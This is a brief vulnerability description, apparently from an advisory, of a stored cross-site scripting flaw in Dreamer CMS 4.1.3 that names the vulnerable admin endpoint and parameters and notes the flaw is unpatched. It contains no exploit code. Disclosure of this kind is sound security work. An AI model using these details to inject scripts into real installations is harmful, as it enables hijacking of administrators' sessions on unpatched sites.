The CVE-2025-1548 vulnerability in Dreamer CMS 4.1.3 allows remote attackers to inject malicious scripts via the editorValue, answer, or `content` parameters in the `/admin/archives/edit` endpoint. This stored XSS occurs due to insufficient input sanitization, enabling attackers to execute arbitrary JavaScript in the admin panel. The attack requires low privileges (PR:L) and user interaction (UI:P), making it exploitable through crafted requests. Since the vendor did not patch it, public exploits may exist.
